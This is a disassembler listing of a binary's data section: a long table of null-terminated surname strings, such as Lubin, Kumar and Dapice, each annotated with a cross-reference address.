aLubin		db 'Lubin',0            ; DATA XREF: ___:0042DFF8o
		align 4
aLoza		db 'Loza',0             ; DATA XREF: ___:0042DFF4o
		align 10h
aLowenstein	db 'Lowenstein',0       ; DATA XREF: ___:0042DFF0o
		align 4
aLoveman	db 'Loveman',0          ; DATA XREF: ___:0042DFECo
aLoss		db 'Loss',0             ; DATA XREF: ___:0042DFE8o
		align 4
aLongworth	db 'Longworth',0        ; DATA XREF: ___:0042DFE4o
		align 4
aLocatelli	db 'Locatelli',0        ; DATA XREF: ___:0042DFE0o
		align 4
aLizardo	db 'Lizardo',0          ; DATA XREF: ___:0042DFDCo
aLivolsi	db 'Livolsi',0          ; DATA XREF: ___:0042DFD8o
aLivi		db 'Livi',0             ; DATA XREF: ___:0042DFD4o
		align 4
aLivernash	db 'Livernash',0        ; DATA XREF: ___:0042DFD0o
		align 4
aLitvak		db 'Litvak',0           ; DATA XREF: ___:0042DFCCo
		align 10h
aLittle		db 'Little',0           ; DATA XREF: ___:0042DFC8o
		align 4
aLipponen	db 'Lipponen',0         ; DATA XREF: ___:0042DFC4o
		align 4
aLippmann	db 'Lippmann',0         ; DATA XREF: ___:0042DFC0o
		align 10h
aLinzee		db 'Linzee',0           ; DATA XREF: ___:0042DFBCo
		align 4
aLinehan	db 'Linehan',0          ; DATA XREF: ___:0042DFB8o
aLine		db 'Line',0             ; DATA XREF: ___:0042DFB4o
		align 4
aLinder		db 'Linder',0           ; DATA XREF: ___:0042DFB0o
		align 10h
aLinda		db 'Linda',0            ; DATA XREF: ___:0042DFACo
		align 4
aLinares	db 'Linares',0          ; DATA XREF: ___:0042DFA8o
aLim		db 'Lim',0              ; DATA XREF: ___:0042DFA4o
aLightfoot	db 'Lightfoot',0        ; DATA XREF: ___:0042DFA0o
		align 10h
aLight		db 'Light',0            ; DATA XREF: ___:0042DF9Co
		align 4
aLiem		db 'Liem',0             ; DATA XREF: ___:0042DF98o
		align 10h
aLidano		db 'Lidano',0           ; DATA XREF: ___:0042DF94o
		align 4
aLiakos		db 'Liakos',0           ; DATA XREF: ___:0042DF90o
		align 10h
aLessi		db 'Lessi',0            ; DATA XREF: ___:0042DF8Co
		align 4
aLesser		db 'Lesser',0           ; DATA XREF: ___:0042DF88o
		align 10h
aLEnclos	db 'l',27h,'Enclos',0   ; DATA XREF: ___:0042DF84o
		align 4
aLenard		db 'Lenard',0           ; DATA XREF: ___:0042DF80o
		align 4
aLeite		db 'Leite',0            ; DATA XREF: ___:0042DF7Co
		align 4
aLeclercq	db 'Leclercq',0         ; DATA XREF: ___:0042DF78o
		align 4
aLecce		db 'Lecce',0            ; DATA XREF: ___:0042DF74o
		align 10h
aLecar		db 'Lecar',0            ; DATA XREF: ___:0042DF70o
		align 4
aLawless	db 'Lawless',0          ; DATA XREF: ___:0042DF6Co
aLashley	db 'Lashley',0          ; DATA XREF: ___:0042DF68o
aLaserna	db 'Laserna',0          ; DATA XREF: ___:0042DF64o
aLanzit		db 'Lanzit',0           ; DATA XREF: ___:0042DF60o
		align 4
aLantieri	db 'Lantieri',0         ; DATA XREF: ___:0042DF5Co
		align 4
aLankes		db 'Lankes',0           ; DATA XREF: ___:0042DF58o
		align 4
aLandes		db 'Landes',0           ; DATA XREF: ___:0042DF54o
		align 4
aLallemant	db 'Lallemant',0        ; DATA XREF: ___:0042DF50o
		align 10h
aLaing		db 'Laing',0            ; DATA XREF: ___:0042DF4Co
		align 4
aLafler		db 'Lafler',0           ; DATA XREF: ___:0042DF48o
		align 10h
aLabunka	db 'Labunka',0          ; DATA XREF: ___:0042DF44o
aLa		db 'La',0               ; DATA XREF: ___:0042DF40o
		align 4
aKuwabara	db 'Kuwabara',0         ; DATA XREF: ___:0042DF3Co
		align 4
aKusman		db 'Kusman',0           ; DATA XREF: ___:0042DF38o
		align 10h
aKumar		db 'Kumar',0            ; DATA XREF: ___:0042DF34o
		align 4
aKuenzli	db 'Kuenzli',0          ; DATA XREF: ___:0042DF30o
aKrysiak	db 'Krysiak',0          ; DATA XREF: ___:0042DF2Co
aKroemer	db 'Kroemer',0          ; DATA XREF: ___:0042DF28o
aKraus		db 'Kraus',0            ; DATA XREF: ___:0042DF24o
		align 4
aKrasney	db 'Krasney',0          ; DATA XREF: ___:0042DF20o
aKrailo		db 'Krailo',0           ; DATA XREF: ___:0042DF1Co
		align 4
aKraemer	db 'Kraemer',0          ; DATA XREF: ___:0042DF18o
aKovaks		db 'Kovaks',0           ; DATA XREF: ___:0042DF14o
		align 4
aKotter		db 'Kotter',0           ; DATA XREF: ___:0042DF10o
		align 10h
aKorzybski	db 'Korzybski',0        ; DATA XREF: ___:0042DF0Co
		align 4
aKool		db 'Kool',0             ; DATA XREF: ___:0042DF08o
		align 4
aKonrad		db 'Konrad',0           ; DATA XREF: ___:0042DF04o
		align 4
aKoniaris	db 'Koniaris',0         ; DATA XREF: ___:0042DF00o
		align 4
aKommer		db 'Kommer',0           ; DATA XREF: ___:0042DEFCo
		align 10h
aKoivumaki	db 'Koivumaki',0        ; DATA XREF: ___:0042DEF8o
		align 4
aKohn		db 'Kohn',0             ; DATA XREF: ___:0042DEF4o
		align 4
aKoch		db 'Koch',0             ; DATA XREF: ___:0042DEF0o
		align 4
aKobrick	db 'Kobrick',0          ; DATA XREF: ___:0042DEECo
aKnuff		db 'Knuff',0            ; DATA XREF: ___:0042DEE8o
		align 4
aKlint		db 'Klint',0            ; DATA XREF: ___:0042DEE4o
		align 4
aKlinkenborg	db 'Klinkenborg',0      ; DATA XREF: ___:0042DEE0o
aKling		db 'Kling',0            ; DATA XREF: ___:0042DEDCo
		align 4
aKlemperer	db 'Klemperer',0        ; DATA XREF: ___:0042DED8o
		align 4
aKleinfelder	db 'Kleinfelder',0      ; DATA XREF: ___:0042DED4o
aKleiman	db 'Kleiman',0          ; DATA XREF: ___:0042DED0o
aKleckner	db 'Kleckner',0         ; DATA XREF: ___:0042DECCo
		align 4
aKittridge	db 'Kittridge',0        ; DATA XREF: ___:0042DEC8o
		align 10h
aKirscht	db 'Kirscht',0          ; DATA XREF: ___:0042DEC4o
aKippenberger	db 'Kippenberger',0     ; DATA XREF: ___:0042DEC0o
		align 4
aKinsley	db 'Kinsley',0          ; DATA XREF: ___:0042DEBCo
aKindall	db 'Kindall',0          ; DATA XREF: ___:0042DEB8o
aKimura		db 'Kimura',0           ; DATA XREF: ___:0042DEB4o
		align 10h
aKimmett	db 'Kimmett',0          ; DATA XREF: ___:0042DEB0o
aKimmel		db 'Kimmel',0           ; DATA XREF: ___:0042DEACo
		align 10h
aKhong		db 'Khong',0            ; DATA XREF: ___:0042DEA8o
		align 4
aKeul		db 'Keul',0             ; DATA XREF: ___:0042DEA4o
		align 10h
aKerry		db 'Kerry',0            ; DATA XREF: ___:0042DEA0o
		align 4
aKendall	db 'Kendall',0          ; DATA XREF: ___:0042DE9Co
aKemsley	db 'Kemsley',0          ; DATA XREF: ___:0042DE98o
aKempton	db 'Kempton',0          ; DATA XREF: ___:0042DE94o
aKelsey		db 'Kelsey',0           ; DATA XREF: ___:0042DE90o
		align 4
aKelker		db 'Kelker',0           ; DATA XREF: ___:0042DE8Co
		align 10h
aKeith		db 'Keith',0            ; DATA XREF: ___:0042DE88o
		align 4
aKeepper	db 'Keepper',0          ; DATA XREF: ___:0042DE84o
aKeenan		db 'Keenan',0           ; DATA XREF: ___:0042DE80o
		align 4
aKee		db 'Kee',0              ; DATA XREF: ___:0042DE7Co
aKawachi	db 'Kawachi',0          ; DATA XREF: ___:0042DE78o
aKasten		db 'Kasten',0           ; DATA XREF: ___:0042DE74o
		align 4
aKassower	db 'Kassower',0         ; DATA XREF: ___:0042DE70o
		align 4
aKarpouzes	db 'Karpouzes',0        ; DATA XREF: ___:0042DE6Co
		align 4
aKangis		db 'Kangis',0           ; DATA XREF: ___:0042DE68o
		align 4
aKamel		db 'Kamel',0            ; DATA XREF: ___:0042DE64o
		align 4
aKalman		db 'Kalman',0           ; DATA XREF: ___:0042DE60o
		align 4
aKalinowski	db 'Kalinowski',0       ; DATA XREF: ___:0042DE5Co
		align 4
aKalil		db 'Kalil',0            ; DATA XREF: ___:0042DE58o
		align 10h
aKaligian	db 'Kaligian',0         ; DATA XREF: ___:0042DE54o
		align 4
aKalbfleisch	db 'Kalbfleisch',0      ; DATA XREF: ___:0042DE50o
aKafadar	db 'Kafadar',0          ; DATA XREF: ___:0042DE4Co
aKaboolian	db 'Kaboolian',0        ; DATA XREF: ___:0042DE48o
		align 4
aKabbash	db 'Kabbash',0          ; DATA XREF: ___:0042DE44o
aJulious	db 'Julious',0          ; DATA XREF: ___:0042DE40o
aJuliano	db 'Juliano',0          ; DATA XREF: ___:0042DE3Co
aJucks		db 'Jucks',0            ; DATA XREF: ___:0042DE38o
		align 4
aJorgensen	db 'Jorgensen',0        ; DATA XREF: ___:0042DE34o
		align 4
aJolly		db 'Jolly',0            ; DATA XREF: ___:0042DE30o
		align 10h
aJohns		db 'Johns',0            ; DATA XREF: ___:0042DE2Co
		align 4
aJohannsen	db 'Johannsen',0        ; DATA XREF: ___:0042DE28o
		align 4
aJohannesson	db 'Johannesson',0      ; DATA XREF: ___:0042DE24o
aJewett		db 'Jewett',0           ; DATA XREF: ___:0042DE20o
		align 4
aJespersen	db 'Jespersen',0        ; DATA XREF: ___:0042DE1Co
		align 4
aJenkins	db 'Jenkins',0          ; DATA XREF: ___:0042DE18o
aJellis		db 'Jellis',0           ; DATA XREF: ___:0042DE14o
		align 4
aJeffers	db 'Jeffers',0          ; DATA XREF: ___:0042DE10o
aJay		db 'Jay',0              ; DATA XREF: ___:0042DE0Co
aJarrell	db 'Jarrell',0          ; DATA XREF: ___:0042DE08o
aJarnagin	db 'Jarnagin',0         ; DATA XREF: ___:0042DE04o
		align 4
aJanjigian	db 'Janjigian',0        ; DATA XREF: ___:0042DE00o
		align 10h
aJamil		db 'Jamil',0            ; DATA XREF: ___:0042DDFCo
		align 4
aJain		db 'Jain',0             ; DATA XREF: ___:0042DDF8o
		align 10h
aJagoe		db 'Jagoe',0            ; DATA XREF: ___:0042DDF4o
		align 4
aJagger		db 'Jagger',0           ; DATA XREF: ___:0042DDF0o
		align 10h
aJagers		db 'Jagers',0           ; DATA XREF: ___:0042DDECo
		align 4
aJackson	db 'Jackson',0          ; DATA XREF: ___:0042DDE8o
aJacenko	db 'Jacenko',0          ; DATA XREF: ___:0042DDE4o
aIyer		db 'Iyer',0             ; DATA XREF: ___:0042DDE0o
		align 10h
aIsserman	db 'Isserman',0         ; DATA XREF: ___:0042DDDCo
		align 4
aIsbill		db 'Isbill',0           ; DATA XREF: ___:0042DDD8o
		align 4
aIsaievych	db 'Isaievych',0        ; DATA XREF: ___:0042DDD4o
		align 10h
aIsaac		db 'Isaac',0            ; DATA XREF: ___:0042DDD0o
		align 4
aInniss		db 'Inniss',0           ; DATA XREF: ___:0042DDCCo
		align 10h
aInamura	db 'Inamura',0          ; DATA XREF: ___:0042DDC8o
aIgarashi	db 'Igarashi',0         ; DATA XREF: ___:0042DDC4o
		align 4
aIchikawa	db 'Ichikawa',0         ; DATA XREF: ___:0042DDC0o
		align 10h
aIaquinta	db 'Iaquinta',0         ; DATA XREF: ___:0042DDBCo
		align 4
aHyde		db 'Hyde',0             ; DATA XREF: ___:0042DDB8o
		align 4
aHutchings	db 'Hutchings',0        ; DATA XREF: ___:0042DDB4o
		align 10h
aHurtubise	db 'Hurtubise',0        ; DATA XREF: ___:0042DDB0o
		align 4
aHupp		db 'Hupp',0             ; DATA XREF: ___:0042DDACo
		align 4
aHuntington	db 'Huntington',0       ; DATA XREF: ___:0042DDA8o
		align 10h
aHungerford	db 'Hungerford',0       ; DATA XREF: ___:0042DDA4o
		align 4
aHuidekoper	db 'Huidekoper',0       ; DATA XREF: ___:0042DDA0o
		align 4
aHuey		db 'Huey',0             ; DATA XREF: ___:0042DD9Co
		align 10h
aHoy		db 'Hoy',0              ; DATA XREF: ___:0042DD98o
aHoward		db 'Howard',0           ; DATA XREF: ___:0042DD94o
		align 4
aHottle		db 'Hottle',0           ; DATA XREF: ___:0042DD90o
		align 4
aHostage	db 'Hostage',0          ; DATA XREF: ___:0042DD8Co
aHoshida	db 'Hoshida',0          ; DATA XREF: ___:0042DD88o
aHorsley	db 'Horsley',0          ; DATA XREF: ___:0042DD84o
aHopkins	db 'Hopkins',0          ; DATA XREF: ___:0042DD80o
aHooker		db 'Hooker',0           ; DATA XREF: ___:0042DD7Co
		align 4
aHolzman	db 'Holzman',0          ; DATA XREF: ___:0042DD78o
aHolway		db 'Holway',0           ; DATA XREF: ___:0042DD74o
		align 4
aHolter		db 'Holter',0           ; DATA XREF: ___:0042DD70o
		align 4
aHoloien	db 'Holoien',0          ; DATA XREF: ___:0042DD6Co
aHolmes		db 'Holmes',0           ; DATA XREF: ___:0042DD68o
		align 4
aHokoda		db 'Hokoda',0           ; DATA XREF: ___:0042DD64o
		align 4
aHokanson	db 'Hokanson',0         ; DATA XREF: ___:0042DD60o
		align 4
aHoffman	db 'Hoffman',0          ; DATA XREF: ___:0042DD5Co
aHoffer		db 'Hoffer',0           ; DATA XREF: ___:0042DD58o
		align 4
aHock		db 'Hock',0             ; DATA XREF: ___:0042DD54o
		align 10h
aHoang		db 'Hoang',0            ; DATA XREF: ___:0042DD50o
		align 4
aHitchcock	db 'Hitchcock',0        ; DATA XREF: ___:0042DD4Co
		align 4
aHirst		db 'Hirst',0            ; DATA XREF: ___:0042DD48o
		align 4
aHind		db 'Hind',0             ; DATA XREF: ___:0042DD44o
		align 4
aHimmelfarb	db 'Himmelfarb',0       ; DATA XREF: ___:0042DD40o
		align 10h
aHeyeck		db 'Heyeck',0           ; DATA XREF: ___:0042DD3Co
		align 4
aHeubert	db 'Heubert',0          ; DATA XREF: ___:0042DD38o
aHester		db 'Hester',0           ; DATA XREF: ___:0042DD34o
		align 4
aHerrera	db 'Herrera',0          ; DATA XREF: ___:0042DD30o
aHernandez	db 'Hernandez',0        ; DATA XREF: ___:0042DD2Co
		align 4
aHenrichs	db 'Henrichs',0         ; DATA XREF: ___:0042DD28o
		align 4
aHenery		db 'Henery',0           ; DATA XREF: ___:0042DD24o
		align 10h
aHemphill	db 'Hemphill',0         ; DATA XREF: ___:0042DD20o
		align 4
aHelprin	db 'Helprin',0          ; DATA XREF: ___:0042DD1Co
aHellmiss	db 'Hellmiss',0         ; DATA XREF: ___:0042DD18o
		align 10h
aHellman	db 'Hellman',0          ; DATA XREF: ___:0042DD14o
aHeiland	db 'Heiland',0          ; DATA XREF: ___:0042DD10o
aHeft		db 'Heft',0             ; DATA XREF: ___:0042DD0Co
		align 4
aHeermans	db 'Heermans',0         ; DATA XREF: ___:0042DD08o
		align 4
aHazlewood	db 'Hazlewood',0        ; DATA XREF: ___:0042DD04o
		align 10h
aHaynes		db 'Haynes',0           ; DATA XREF: ___:0042DD00o
		align 4
aHayes		db 'Hayes',0            ; DATA XREF: ___:0042DCFCo
		align 10h
aHawkes		db 'Hawkes',0           ; DATA XREF: ___:0042DCF8o
		align 4
aHaviaras	db 'Haviaras',0         ; DATA XREF: ___:0042DCF4o
		align 4
aHarwell	db 'Harwell',0          ; DATA XREF: ___:0042DCF0o
aHartnett	db 'Hartnett',0         ; DATA XREF: ___:0042DCECo
		align 4
aHartmann	db 'Hartmann',0         ; DATA XREF: ___:0042DCE8o
		align 4
aHartman	db 'Hartman',0          ; DATA XREF: ___:0042DCE4o
aHarrigan	db 'Harrigan',0         ; DATA XREF: ___:0042DCE0o
		align 4
aHarlow		db 'Harlow',0           ; DATA XREF: ___:0042DCDCo
		align 10h
aHargraves	db 'Hargraves',0        ; DATA XREF: ___:0042DCD8o
		align 4
aHarding	db 'Harding',0          ; DATA XREF: ___:0042DCD4o
aHanssen	db 'Hanssen',0          ; DATA XREF: ___:0042DCD0o
aHand		db 'Hand',0             ; DATA XREF: ___:0042DCCCo
		align 4
aHammerness	db 'Hammerness',0       ; DATA XREF: ___:0042DCC8o
		align 10h
aHamer		db 'Hamer',0            ; DATA XREF: ___:0042DCC4o
		align 4
aHambarzumjan	db 'Hambarzumjan',0     ; DATA XREF: ___:0042DCC0o
		align 4
aHalpert	db 'Halpert',0          ; DATA XREF: ___:0042DCBCo
aHallowell	db 'Hallowell',0        ; DATA XREF: ___:0042DCB8o
		align 4
aHalkias	db 'Halkias',0          ; DATA XREF: ___:0042DCB4o
aHaley		db 'Haley',0            ; DATA XREF: ___:0042DCB0o
		align 4
aHackshaw	db 'Hackshaw',0         ; DATA XREF: ___:0042DCACo
		align 4
aHackman	db 'Hackman',0          ; DATA XREF: ___:0042DCA8o
aHaar		db 'Haar',0             ; DATA XREF: ___:0042DCA4o
		align 4
aHa		db 'Ha',0               ; DATA XREF: ___:0042DCA0o
		align 4
aGuo		db 'Guo',0              ; DATA XREF: ___:0042DC9Co
aGunn		db 'Gunn',0             ; DATA XREF: ___:0042DC98o
		align 4
aGuenthart	db 'Guenthart',0        ; DATA XREF: ___:0042DC94o
		align 4
aGruppe		db 'Gruppe',0           ; DATA XREF: ___:0042DC90o
		align 4
aGruner		db 'Gruner',0           ; DATA XREF: ___:0042DC8Co
		align 4
aGrummell	db 'Grummell',0         ; DATA XREF: ___:0042DC88o
		align 10h
aGrigoletto	db 'Grigoletto',0       ; DATA XREF: ___:0042DC84o
		align 4
aGriffiths	db 'Griffiths',0        ; DATA XREF: ___:0042DC80o
		align 4
aGreenfeld	db 'Greenfeld',0        ; DATA XREF: ___:0042DC7Co
		align 4
aGreenberg	db 'Greenberg',0        ; DATA XREF: ___:0042DC78o
		align 10h
aGravell	db 'Gravell',0          ; DATA XREF: ___:0042DC74o
aGozzi		db 'Gozzi',0            ; DATA XREF: ___:0042DC70o
		align 10h
aGoody		db 'Goody',0            ; DATA XREF: ___:0042DC6Co
		align 4
aGoodearl	db 'Goodearl',0         ; DATA XREF: ___:0042DC68o
		align 4
aGood		db 'Good',0             ; DATA XREF: ___:0042DC64o
		align 4
aGoncalves	db 'Goncalves',0        ; DATA XREF: ___:0042DC60o
		align 4
aGoldfarb	db 'Goldfarb',0         ; DATA XREF: ___:0042DC5Co
		align 4
aGlendon	db 'Glendon',0          ; DATA XREF: ___:0042DC58o
aGlegg		db 'Glegg',0            ; DATA XREF: ___:0042DC54o
		align 4
aGleason	db 'Gleason',0          ; DATA XREF: ___:0042DC50o
aGist		db 'Gist',0             ; DATA XREF: ___:0042DC4Co
		align 4
aGillispie	db 'Gillispie',0        ; DATA XREF: ___:0042DC48o
		align 10h
aGill		db 'Gill',0             ; DATA XREF: ___:0042DC44o
		align 4
aGili		db 'Gili',0             ; DATA XREF: ___:0042DC40o
		align 10h
aGilbert	db 'Gilbert',0          ; DATA XREF: ___:0042DC3Co
aGibson		db 'Gibson',0           ; DATA XREF: ___:0042DC38o
		align 10h
aGibbens	db 'Gibbens',0          ; DATA XREF: ___:0042DC34o
aGhorai		db 'Ghorai',0           ; DATA XREF: ___:0042DC30o
		align 10h
aGerrett	db 'Gerrett',0          ; DATA XREF: ___:0042DC2Co
aGeorgi		db 'Georgi',0           ; DATA XREF: ___:0042DC28o
		align 10h
aGemberling	db 'Gemberling',0       ; DATA XREF: ___:0042DC24o
		align 4
aGeller		db 'Geller',0           ; DATA XREF: ___:0042DC20o
		align 4
aGaronna	db 'Garonna',0          ; DATA XREF: ___:0042DC1Co
aGarman		db 'Garman',0           ; DATA XREF: ___:0042DC18o
		align 4
aGarfield	db 'Garfield',0         ; DATA XREF: ___:0042DC14o
		align 10h
aGambini	db 'Gambini',0          ; DATA XREF: ___:0042DC10o
aGalwey		db 'Galwey',0           ; DATA XREF: ___:0042DC0Co
		align 10h
aGaleotti	db 'Galeotti',0         ; DATA XREF: ___:0042DC08o
		align 4
aGaggiotti	db 'Gaggiotti',0        ; DATA XREF: ___:0042DC04o
		align 4
aGabrielli	db 'Gabrielli',0        ; DATA XREF: ___:0042DC00o
		align 4
aFusaro		db 'Fusaro',0           ; DATA XREF: ___:0042DBFCo
		align 4
aFurth		db 'Furth',0            ; DATA XREF: ___:0042DBF8o
		align 4
aFuller		db 'Fuller',0           ; DATA XREF: ___:0042DBF4o
		align 4
aFujiiAbe	db 'Fujii-Abe',0        ; DATA XREF: ___:0042DBF0o
		align 4
aFrye		db 'Frye',0             ; DATA XREF: ___:0042DBECo
		align 10h
aFryberger	db 'Fryberger',0        ; DATA XREF: ___:0042DBE8o
		align 4
aFrowiss	db 'Frowiss',0          ; DATA XREF: ___:0042DBE4o
aFrisken	db 'Frisken',0          ; DATA XREF: ___:0042DBE0o
aFriedland	db 'Friedland',0        ; DATA XREF: ___:0042DBDCo
		align 4
aFried		db 'Fried',0            ; DATA XREF: ___:0042DBD8o
		align 10h
aFreundlich	db 'Freundlich',0       ; DATA XREF: ___:0042DBD4o
		align 4
aFreid		db 'Freid',0            ; DATA XREF: ___:0042DBD0o
		align 4
aFrazierDavis	db 'Frazier-Davis',0    ; DATA XREF: ___:0042DBCCo
		align 4
aFranz		db 'Franz',0            ; DATA XREF: ___:0042DBC8o
		align 4
aFranklinKenea	db 'Franklin-Kenea',0   ; DATA XREF: ___:0042DBC4o
		align 4
aFrancisco	db 'Francisco',0        ; DATA XREF: ___:0042DBC0o
		align 4
aFossi		db 'Fossi',0            ; DATA XREF: ___:0042DBBCo
		align 10h
aFossey		db 'Fossey',0           ; DATA XREF: ___:0042DBB8o
		align 4
aFortier	db 'Fortier',0          ; DATA XREF: ___:0042DBB4o
aFortes		db 'Fortes',0           ; DATA XREF: ___:0042DBB0o
		align 4
aForester	db 'Forester',0         ; DATA XREF: ___:0042DBACo
		align 4
aFolks		db 'Folks',0            ; DATA XREF: ___:0042DBA8o
		align 4
aFlores		db 'Flores',0           ; DATA XREF: ___:0042DBA4o
		align 4
aFlier		db 'Flier',0            ; DATA XREF: ___:0042DBA0o
		align 4
aFitzmaurice	db 'Fitzmaurice',0      ; DATA XREF: ___:0042DB9Co
aFisk		db 'Fisk',0             ; DATA XREF: ___:0042DB98o
		align 10h
aFiorina	db 'Fiorina',0          ; DATA XREF: ___:0042DB94o
aFinnegan	db 'Finnegan',0         ; DATA XREF: ___:0042DB90o
		align 4
aFinkelstein	db 'Finkelstein',0      ; DATA XREF: ___:0042DB8Co
aFink		db 'Fink',0             ; DATA XREF: ___:0042DB88o
		align 4
aField		db 'Field',0            ; DATA XREF: ___:0042DB84o
		align 10h
aFido		db 'Fido',0             ; DATA XREF: ___:0042DB80o
		align 4
aFeuer		db 'Feuer',0            ; DATA XREF: ___:0042DB7Co
		align 10h
aFerriell	db 'Ferriell',0         ; DATA XREF: ___:0042DB78o
		align 4
aFerrante	db 'Ferrante',0         ; DATA XREF: ___:0042DB74o
		align 4
aFernandes	db 'Fernandes',0        ; DATA XREF: ___:0042DB70o
		align 4
aFernald	db 'Fernald',0          ; DATA XREF: ___:0042DB6Co
aFeldman	db 'Feldman',0          ; DATA XREF: ___:0042DB68o
aFejzo		db 'Fejzo',0            ; DATA XREF: ___:0042DB64o
		align 4
aFeigenbaum	db 'Feigenbaum',0       ; DATA XREF: ___:0042DB60o
		align 4
aFates		db 'Fates',0            ; DATA XREF: ___:0042DB5Co
		align 10h
aFasso		db 'Fasso',27h,0        ; DATA XREF: ___:0042DB58o
		align 4
aFarren		db 'Farren',0           ; DATA XREF: ___:0042DB54o
		align 10h
aFarone		db 'Farone',0           ; DATA XREF: ___:0042DB50o
		align 4
aFaris		db 'Faris',0            ; DATA XREF: ___:0042DB4Co
		align 10h
aFalorsi	db 'Falorsi',0          ; DATA XREF: ___:0042DB48o
aFalcoAcosta	db 'Falco-Acosta',0     ; DATA XREF: ___:0042DB44o
		align 4
aFaioes		db 'Faioes',0           ; DATA XREF: ___:0042DB40o
		align 10h
aFagan		db 'Fagan',0            ; DATA XREF: ___:0042DB3Co
		align 4
aFabbris	db 'Fabbris',0          ; DATA XREF: ___:0042DB38o
aEverett	db 'Everett',0          ; DATA XREF: ___:0042DB34o
aEuripides	db 'Euripides',0        ; DATA XREF: ___:0042DB30o
		align 4
aEtter		db 'Etter',0            ; DATA XREF: ___:0042DB2Co
		align 4
aEstes		db 'Estes',0            ; DATA XREF: ___:0042DB28o
		align 4
aEspinoza	db 'Espinoza',0         ; DATA XREF: ___:0042DB24o
		align 10h
aErez		db 'Erez',0             ; DATA XREF: ___:0042DB20o
		align 4
aErdos		db 'Erdos',0            ; DATA XREF: ___:0042DB1Co
		align 10h
aErdman		db 'Erdman',0           ; DATA XREF: ___:0042DB18o
		align 4
aErbach		db 'Erbach',0           ; DATA XREF: ___:0042DB14o
		align 10h
aEppling	db 'Eppling',0          ; DATA XREF: ___:0042DB10o
aEnyeart	db 'Enyeart',0          ; DATA XREF: ___:0042DB0Co
aEncinas	db 'Encinas',0          ; DATA XREF: ___:0042DB08o
aElvis		db 'Elvis',0            ; DATA XREF: ___:0042DB04o
		align 10h
aElmerick	db 'Elmerick',0         ; DATA XREF: ___:0042DB00o
		align 4
aElmendorf	db 'Elmendorf',0        ; DATA XREF: ___:0042DAFCo
		align 4
aEliasson	db 'Eliasson',0         ; DATA XREF: ___:0042DAF8o
		align 4
aEickenhorst	db 'Eickenhorst',0      ; DATA XREF: ___:0042DAF4o
aEdward		db 'Edward',0           ; DATA XREF: ___:0042DAF0o
		align 4
aEdner		db 'Edner',0            ; DATA XREF: ___:0042DAECo
		align 10h
aEdley		db 'Edley',0            ; DATA XREF: ___:0042DAE8o
		align 4
aEckel		db 'Eckel',0            ; DATA XREF: ___:0042DAE4o
		align 10h
aEbeling	db 'Ebeling',0          ; DATA XREF: ___:0042DAE0o
aEardley	db 'Eardley',0          ; DATA XREF: ___:0042DADCo
aDwyer		db 'Dwyer',0            ; DATA XREF: ___:0042DAD8o
		align 4
aDussault	db 'Dussault',0         ; DATA XREF: ___:0042DAD4o
		align 4
aDurrett	db 'Durrett',0          ; DATA XREF: ___:0042DAD0o
aDuffin		db 'Duffin',0           ; DATA XREF: ___:0042DACCo
		align 4
aDSouza		db 'D',27h,'souza',0    ; DATA XREF: ___:0042DAC8o
aDrinker	db 'Drinker',0          ; DATA XREF: ___:0042DAC4o
aDowsland	db 'Dowsland',0         ; DATA XREF: ___:0042DAC0o
		align 10h
aDoug		db 'Doug',0             ; DATA XREF: ___:0042DABCo
		align 4
aDoty		db 'Doty',0             ; DATA XREF: ___:0042DAB8o
		align 10h
aDosi		db 'Dosi',0             ; DATA XREF: ___:0042DAB4o
		align 4
aDorf		db 'Dorf',0             ; DATA XREF: ___:0042DAB0o
		align 10h
aDore		db 'Dore',0             ; DATA XREF: ___:0042DAACo
		align 4
aDoonan		db 'Doonan',0           ; DATA XREF: ___:0042DAA8o
		align 10h
aDonner		db 'Donner',0           ; DATA XREF: ___:0042DAA4o
		align 4
aDonahue	db 'Donahue',0          ; DATA XREF: ___:0042DAA0o
aDoherty	db 'Doherty',0          ; DATA XREF: ___:0042DA9Co
aDockery	db 'Dockery',0          ; DATA XREF: ___:0042DA98o
aDirksen	db 'Dirksen',0          ; DATA XREF: ___:0042DA94o
aDionysius	db 'Dionysius',0        ; DATA XREF: ___:0042DA90o
		align 4
aDilworth	db 'Dilworth',0         ; DATA XREF: ___:0042DA8Co
		align 10h
aDifronzo	db 'Difronzo',0         ; DATA XREF: ___:0042DA88o
		align 4
aDifabio	db 'Difabio',0          ; DATA XREF: ___:0042DA84o
aDiefenbach	db 'Diefenbach',0       ; DATA XREF: ___:0042DA80o
		align 10h
aDicks		db 'Dicks',0            ; DATA XREF: ___:0042DA7Co
		align 4
aDFini		db 'D',27h,'fini',0     ; DATA XREF: ___:0042DA78o
		align 10h
aDeutsch	db 'Deutsch',0          ; DATA XREF: ___:0042DA74o
aDesombre	db 'Desombre',0         ; DATA XREF: ___:0042DA70o
		align 4
aDenison	db 'Denison',0          ; DATA XREF: ___:0042DA6Co
aDenham		db 'Denham',0           ; DATA XREF: ___:0042DA68o
		align 4
aDenault	db 'Denault',0          ; DATA XREF: ___:0042DA64o
aDemusz		db 'Demusz',0           ; DATA XREF: ___:0042DA60o
		align 4
aDempster	db 'Dempster',0         ; DATA XREF: ___:0042DA5Co
		align 10h
aDeming		db 'Deming',0           ; DATA XREF: ___:0042DA58o
		align 4
aDellAcqua	db 'Dell',27h,'acqua',0 ; DATA XREF: ___:0042DA54o
		align 4
aDelger		db 'Delger',0           ; DATA XREF: ___:0042DA50o
		align 4
aDeleonRendon	db 'Deleon-Rendon',0    ; DATA XREF: ___:0042DA4Co
		align 4
aDelattre	db 'Delattre',0         ; DATA XREF: ___:0042DA48o
		align 4
aDefeciani	db 'Defeciani',0        ; DATA XREF: ___:0042DA44o
		align 4
aDees		db 'Dees',0             ; DATA XREF: ___:0042DA40o
		align 4
aDebroff	db 'Debroff',0          ; DATA XREF: ___:0042DA3Co
aDerousse	db 'deRousse',0         ; DATA XREF: ___:0042DA38o
		align 10h
aDelEnclos	db 'del',27h,'Enclos',0 ; DATA XREF: ___:0042DA34o
		align 4
aDelapena	db 'DeLaPena',0         ; DATA XREF: ___:0042DA30o
		align 4
aDegennaro	db 'DeGennaro',0        ; DATA XREF: ___:0042DA2Co
		align 4
aDawkins	db 'Dawkins',0          ; DATA XREF: ___:0042DA28o
aDavid		db 'David',0            ; DATA XREF: ___:0042DA24o
		align 4
aDaskalu	db 'Daskalu',0          ; DATA XREF: ___:0042DA20o
aDasgupta	db 'Dasgupta',0         ; DATA XREF: ___:0042DA1Co
		align 4
aDas		db 'Das',0              ; DATA XREF: ___:0042DA18o
aDArcangelo	db 'D',27h,'arcangelo',0 ; DATA XREF: ___:0042DA14o
aDapice		db 'Dapice',0           ; DATA XREF: ___:0042DA10o
		align 10h
